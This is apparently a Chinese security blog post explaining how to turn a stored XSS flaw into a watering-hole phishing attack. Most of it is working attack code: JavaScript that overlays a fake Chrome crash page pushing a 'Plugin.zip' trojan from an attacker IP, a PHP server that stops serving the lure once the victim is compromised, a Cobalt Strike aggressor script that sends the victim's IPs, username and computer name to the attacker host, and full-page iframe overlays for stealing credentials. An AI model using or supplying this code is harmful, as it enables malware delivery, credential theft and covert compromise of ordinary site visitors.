XSS钓鱼实现水坑攻击

2021-11-07
2 min read

一、简述

XSS我们不陌生,利用XSS可以做到许多的事,比如盗取cookie、钓鱼、获得内网地址、DDOS等等。这里简单学习一下利用XSS钓鱼。

二、原理

一般需要一个存储型XSS。利用存储型XSS可以实现的目标可以有两种:

  • 1.直接诱导目标下载木马,达到直接上线的目的。这种情况最常见于Flash钓鱼,并且以此衍生各种版本,比如google崩溃页面、下载某插件之后才能访问等等。
  • 2.诱导目标输入账号密码,达到窃取信息的目的。

这两种攻击方式需要考虑到下载之后如何自动判断上线,并且撤销钓鱼页面(也就是收杆),防止被发现攻击。

而到达目标的线路也是我们需要考虑的,大概分为以下两种

  • 直接利用xss跳转到伪造的页面。优点是容易收杆,简单做个判断即可。缺点是容易被发现,毕竟做了跳转。
  • 不进行跳转,直接利用xss加载伪造页面,收杆的话使用xss或服务端做判断,这里需要用到cs上线提醒。

三、实践

这里都是通过利用xss加载伪造页面完成的,防止被直接发现。

诱导上线

这里直接使用了Google崩溃页面诱导:

1
2
3
4
5
var body = document.body;
    var _left =  window.innerWidth * 0.3 + 'px';
    var _top = window.innerHeight * 0.3 + 'px';
    var _height = window.innerHeight;
    body.innerHTML=`<div style="background-color: white;height: ${_height}px"><div style='position:absolute;top:${_top};left:${_left};height:300px;width:600px;'><img src='https://files.catbox.moe/kgxxm1.png' style='margin:3px;'><p><h3 >喔唷,崩溃啦!</h3></p ><p style='color:gray'>显示此网页时出了点问题,请在您的页面上启用显示插件,从而可能会有所帮助。</br></p > <a href='http://39.105.*.*/Plugin.zip'> <button style='margin-left:85%;height:30px;line-hight:30px;outline:none;border:none;background-color:rgb(26,115,232);color:white'  >立即修复</button></a> </div></div>`
1
<img style='margin:3px;' src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAF4AAABOCAIAAAAmZjaiAAAACXBIWXMAABJ0AAASdAHeZh94AAAAEXRFWHRTb2Z0d2FyZQBTbmlwYXN0ZV0Xzt0AAAUoSURBVHic7ZzrT1NnHMd/50bsAdpBS7nIqQPcJaPcHeGmbpnCahVjZF6WzMxgTHxJMjP/hF1MzN67GTFxc3ObokiCy2YM4uLmuBR0WeTWlkSxp3KzJWnpsxeHMRz8gufSFJfn86o96fM9Tz99nnOe85znlCGEAGUl2ERXYO1C1aBQNShUDQpVg0LVoFA1KFQNClWDQtWgUDUoVA0Kv3zTmNd3/adfVKVwPOd21dszMgBgfn6+vaNzYuKxqoTyspLyshJVReLNCmqCwWBX921VKYIgbKmrUdQQQvo9Aw+GhlUl2Gzpa00N7VAoVA0Ko0xlLT2+pKQm5+bkqEohhHh9/nB4DgAYlnFIuaZ161QlBGQ5EAgqr8vLisvLSlUVjwcLxxpZ/vf4UlZacuC9vapSIpHIjZtdQ8MjAMDz/NbNtRsL8lUlXGq7ulgBqzV9LaihHQqFqkFZ4eStk1gsduVqR2pqqqpSXp9v8XVPb58sB1ctkpmZ4XY1sGy8ft24qOnzDOhJ8Pr8Xp9/1Y9tLMh3NWyPnxraoVCoGhRjOhTHcY07d8zMzBiS9pyE5+bOnvtaGZfZ7Ta3q4HjOAPzjVHDsmxJsdOQqOfnwdDwhe9+iEajAFCQn+dq2G6sGtqhUKgaFKoGhapBoWpQqBoUqgZF3bhmfj7mGRycnZlNS0srfON1ABgd8/r94yzLFjkLU1NTNNfD6/N7vT4AKHIWWizmqelpz8A9IESScjc4JM2xelCnJhqNXm5rHxkdKy5yKmru/H73WkenIAgnjrfoUfNHT++ltnYA+PijFovF/PDhoy/PtBJCGnfuSJQa2qFQ1LUanud3N7pnZ2Znnz49/VUrAGRk2I4cPsSyrHKnRTPlZaU2qxUAenr7bnX/Koqm5g8/AABJytUTqwd1ajiOLS0uAoB+z8A3334PAPv27qmrrdZfD4eU65ByAeDTk6fu//nXa6++cnB/E8Mw+pM1o04NIWRqejoaiYbn5pQfOUZigYDMMIzFYuZ57ReroVA4FAoBgMkk2qxWUTQFZJkBRhRNoihqjtWDui8TiUTOnjvv840X5OedON4CADdudn3y+Sle4I8dbdZzvOzqvt15/WcAeP9Ak2N/k88//tnJLwgh29556936bZpj9aC21cDk5FRAlnNysm22f1qNLAuCoEwOaCYUCgVkGZRWY7PKwWBAlgkhoVBYT6we1B9rSorW5+RI0nply8sbHHU11RzP6TlzA4BDkupqqgHgJYsZACxmc11NFSGQqDM3aDlD7XIv3VK5qaJyU4X+evxnpURWVmbz4UP6Y/VAxzUoVA0KVYNC1aBQNShUDYoB96GePJkcvHdfQ0GHQ3Ik7upxVQxQ4xsfP32mVUPBPbt3rWU1tEOhaGk1d3672+8ZXHybnCIe0TRyDciyMumzFLerPjs7S0Oa4WhRMzI6tnRhcbGz8OC+Jg05P16+snyBcm1N1QusJjlZVCZrFMxms7Z9i+IzOQrhcCgQkJduEQTBYtG4Cz1oUfP21i1VlW8uvk1KStK278211RXLVnqev3DR6724dEte3oZjR5vjt/oKQ2OrSU42YOZNFMXlM3jh8MLEzSLp6Wn696UB49fy6cRZWGhNf6aXZWXZEzJJvObUuF31ia7CAnRcg0LVoCDPQ91S9zxUQng08TgWi8Uvf+Wn6LRdE/3PoB0KhapBWehQVmu6chvoBcVutxk+XGboH0Jh0A6FQtWgUDUoVA0KVYNC1aBQNShUDQpVg0LVoPwNSQWN1SB9nloAAAAASUVORK5CYII=">

图片可以直接去网上找这个小图标然后上传到图床。但是这样会有加载延迟,要么写时间延迟,要么将图片硬编码进去,这里我使用了图片的硬编码。

image.png

然后考虑卸载页面的问题,我们有两种思路

  • 在服务器做一个判断,既当CS收到上线提醒后向服务器发送请求,改变服务器状态,然后直接在JS中再做一次判断,根据服务器状态决定是否启用钓鱼页面。
  • 直接将js文件指向服务器,做一个状态判断,未上线状态则返回js代码。

为了方便,这里是采用第二种方法:

当CS检测到上线的时候,自动发送请求到http://192.168.101.189/xss.php?s=success

改变了服务器状态,之后当受害者再去访问页面的时候既得到正常的页面。

1
2
xss:
<script type="text/javascript" src=http://192.168.101.189/xss.php>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php
$status = 0;
$js = file_get_contents('js.js');
if ($_GET['s']=='success'){
	file_put_contents('1', $_GET['c']);
}
if (file_exists('1')){
	echo 1;
}
else{
header('Content-type: text/javascript');
echo $js;
}
?>

CS上线提醒

这里用到的是beacon_initial事件,也就是在会话初始化的时候会运行的代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# 循环获取所有beacon
on beacon_initial {

    sub http_get {
        local('$output');
        $url = [new java.net.URL: $1];
        $stream = [$url openStream];
        $handle = [SleepUtils getIOHandle: $stream, $null];

        @content = readAll($handle);

        foreach $line (@content) {
            $output .= $line . "\r\n";
        }

        println($output);
    }
    #获取ip计算机名登录账号
    $externalIP = replace(beacon_info($1, "external"), " ", "_");
    $internalIP = replace(beacon_info($1, "internal"), " ", "_");
    $userName = replace(beacon_info($1, "user"), " ", "_");
    $computerName = replace(beacon_info($1, "computer"), " ", "_");

  
    $url = 'http://192.168.101.189/xss.php?s=success&c='.$externalIP.$internalIP.$userName.$computerName;

    http_get($url);

}

CS服务端加载脚本:

1
./agscript [host] [port] [user] [pass] </path/to/file.cna>
  • [host] #服务器的ip地址。
  • [port] #cs的端口号,启动cs时有显示。
  • [user] #用户名,用来运行这个脚本的用户名,随便即可。
  • [pass] #cs的密码,就是启动cs时你设置的密码。
  • [path] #cna文件的路径。

如此就完成一个简单的上线既卸载页面的功能。

诱导输入

这里可以使用iframe 标签,src 的替换成欺骗页面。

1
2
 <iframe src="https://www.runoob.com/php/php-eof-heredoc.html" style="position:fixed; top:0; left:0; bottom:0; right:0; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;">
</iframe>

或者使用js写入:

1
2
3
4
5
6
7
 function prepareFrame() {
        var ifrm = document.createElement("iframe");
        ifrm.setAttribute("src", "https://www.runoob.com/php/php-eof-heredoc.html");
        ifrm.setAttribute("style", "position:fixed; top:0; left:0; bottom:0; right:0; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;");
        document.body.appendChild(ifrm);
    }
    prepareFrame()

同样可以放在服务器上,设置判断(参见前文思路)。关于iframe的内容就需要根据实际情况判断。

参考资料:

https://hackergu.com/cobaltstrike-wechat-alert/

http://www.nmd5.com/posts/2020-04-20-22/

https://www.freebuf.com/articles/web/263612.html

Avatar
Oulaa 黑白之色,无间之守